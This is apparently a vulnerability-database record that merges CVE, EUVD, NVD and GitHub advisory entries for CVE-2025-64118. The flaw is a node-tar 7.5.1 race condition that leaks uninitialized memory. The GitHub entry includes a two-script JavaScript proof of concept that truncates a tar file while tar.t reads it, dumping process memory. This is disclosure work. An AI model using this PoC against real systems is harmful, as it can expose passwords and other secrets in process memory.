{"id":"CVE-2025-64118","revision":null,"records":[{"revision":"7ad94d8b223d4e4ca04defa0d2c50a8c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-64118","aliases":[],"title":"node-tar vulnerable to race condition leading to uninitialized memory exposure","description":"node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.","state":0,"publishedAt":"2025-10-30T17:50:20.421+00:00","modifiedAt":"2025-10-30T18:42:19.663+00:00","affected":[{"ecosystem":"Vendor product","name":"node-tar","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"isaacs\",\n                    \"product\": \"node-tar\",\n                    \"versions\": [\n                        {\n                            \"version\": \"= 7.5.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph","https://github.com/isaacs/node-tar/issues/445","https://github.com/isaacs/node-tar/pull/446","https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-64118","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-64118","identifiers":["CVE-2025-64118"]},"retained":false,"historicalAffected":[]},{"revision":"8c9d288b321644e2802a809e6fa63a53","observedAt":"2026-11-11T04:31:06.435+00:00","statement":{"source":"euvd","id":"EUVD-2025-37034","aliases":["CVE-2025-64118","GHSA-29xp-372q-xqph"],"title":"node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fix…","description":"node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H","score":6.1,"severity":null}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph","https://github.com/isaacs/node-tar/issues/445","https://github.com/isaacs/node-tar/pull/446","https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-37034","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 30, 2025, 5:50:20 PM","dateUpdated":"Oct 30, 2025, 6:42:19 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-37034","identifiers":["EUVD-2025-37034","CVE-2025-64118","GHSA-29xp-372q-xqph"]},"retained":false,"historicalAffected":[]},{"revision":"08173b99e13548558820cf9ab3998baf","observedAt":"2026-10-25T03:17:29.935+00:00","statement":{"source":"nvd","id":"CVE-2025-64118","aliases":[],"title":"node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fix…","description":"node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.","state":0,"publishedAt":"2025-10-30T18:15:33.673+00:00","modifiedAt":"2026-10-07T22:10:00.217+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d","https://github.com/isaacs/node-tar/issues/445","https://github.com/isaacs/node-tar/pull/446","https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-64118","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-362","CWE-367"],"productCriteria":[],"sourceDates":{"published":"2025-10-30T18:15:33.673","lastModified":"2026-10-07T22:10:00.217"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-64118","identifiers":["CVE-2025-64118"]},"retained":false,"historicalAffected":[]},{"revision":"1dd253feb05d4afb8366e9e630c8eaee","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-29xp-372q-xqph","aliases":["CVE-2025-64118"],"title":"node-tar has a race condition leading to uninitialized memory exposure","description":"### Summary\n\nUsing `.t` (aka `.list`) with `{ sync: true }` to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.\n\n### Details\n\nSee:\n* https://github.com/isaacs/node-tar/issues/445\n* https://github.com/isaacs/node-tar/pull/446\n* Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d\n\n### PoC\n\nA:\n```js\nimport * as tar from 'tar'\nimport fs from 'node:fs'\n\nfs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))\n\n// from readme\nconst filesAdded = []\ntar.c(\n  {\n    sync: true,\n    file: 'tar.test.tmp.tar',\n    onWriteEntry(entry) {\n      // initially, it's uppercase and 0o644\n      console.log('adding', entry.path, entry.stat.mode.toString(8))\n      // make all the paths lowercase\n      entry.path = entry.path.toLowerCase()\n      // make the entry executable\n      entry.stat.mode = 0o755\n      // in the archive, it's lowercase and 0o755\n      filesAdded.push([entry.path, entry.stat.mode.toString(8)])\n    },\n  },\n  ['./tar.test.tmp'],\n)\n\nconst a = fs.readFileSync('tar.test.tmp.tar')\n\nfor (let i = 0; ; i++){\n  if (i % 10000 === 0) console.log(i)\n  fs.writeFileSync('tar.test.tmp.tar', a)\n  fs.truncateSync('tar.test.tmp.tar', 600)\n}\n```\n\nB (vulnerable):\n```js\nimport * as tar from 'tar'\nimport * as fs from 'fs'\n\nwhile (true) {\n  fs.readFileSync(import.meta.filename)\n  tar.t({\n    sync: true,\n    file: 'tar.test.tmp.tar',\n    onReadEntry: e => e.on('data', b => {\n      const a = b.filter(x => x)\n      if (a.length > 0) console.log(a.toString())\n    })\n  })\n}\n```\n\nRun A and B in parallel on Node.js 22 or >=25.1.0\n\nDumps `B` memory (wait for some time to observe text data)\n\n### Impact\n\nExposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.\n\nTo execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via `stat`, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in `strict: true` mode, or by default, skipping the entry harmlessly).\n\nThis is conditional on using the `sync: true` option to the `tar.list`/`tar.t` method, and the `7.5.1` version specifically. Earlier versions were not affected.\n\nThis is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).\n\nIf the tar file is initially larger than the `opt.maxReadSize` (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.\n\nBy default, `tar.list` does _not_ process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an `onReadEntry` method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).\n\nOther methods in this library (`tar.extract`, etc.) are not affected by this vulnerability.","state":0,"publishedAt":"2025-10-30T17:13:17+00:00","modifiedAt":"2026-09-10T03:50:29.1046331+00:00","affected":[{"ecosystem":"npm","name":"tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.5.1"},{"kind":"fixed","version":"7.5.2"}]}],"versions":["7.5.1"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph","https://nvd.nist.gov/vuln/detail/CVE-2025-64118","https://github.com/isaacs/node-tar/issues/445","https://github.com/isaacs/node-tar/pull/446","https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d","https://github.com/isaacs/node-tar/commit/5e1a8e638600d3c3a2969b4de6a6ec44fa8d74c9","https://github.com/isaacs/node-tar"],"sourceUrl":"https://github.com/advisories/GHSA-29xp-372q-xqph","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-29xp-372q-xqph","identifiers":["GHSA-29xp-372q-xqph","CVE-2025-64118"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:46.3036784+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:46.3038639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-f19af5e22c13aa688d23829fe96c281d0deaf6cf2f8cee6748f54f5a479127b2","complete":true,"records":424021,"lastAttemptAt":"2026-11-11T09:57:38.9264743+00:00","lastSuccessAt":"2026-11-11T09:25:54.5258746+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:38.9264743+00:00","snapshotPublishedAt":"2026-11-11T09:25:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f581ef223ba240a69a1abcff00ee4876","complete":true,"records":13758,"lastAttemptAt":"2026-11-11T09:58:42.1822037+00:00","lastSuccessAt":"2026-11-11T09:58:42.065+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:58:42.065+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:52.273871+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:52.273872+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-304fa97221904da4b3dcd306fc4b8a4b","complete":true,"records":13752,"lastAttemptAt":"2026-11-11T09:57:53.9573384+00:00","lastSuccessAt":"2026-11-11T09:26:01.454+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:26:01.454+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T09:57:42.4406155+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:42.4406155+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T09:57:39.9639043+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:39.9639043+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-2bc186fc4a8179fd66d765079d475b0b8e3af9f89b57dcc310e7773ded48b2cc","complete":true,"records":3088,"lastAttemptAt":"2026-11-11T09:57:43.196106+00:00","lastSuccessAt":"2026-11-11T09:25:59.9234294+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:43.196106+00:00","snapshotPublishedAt":"2026-11-11T09:02:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-085e065fc9050ae18408f7e722c39653aeb186872334d7b3ec1fcafb7ed43d25","complete":true,"records":231665,"lastAttemptAt":"2026-11-11T09:57:41.7897107+00:00","lastSuccessAt":"2026-11-11T08:27:45.2700102+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:41.7897107+00:00","snapshotPublishedAt":"2026-11-11T07:32:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}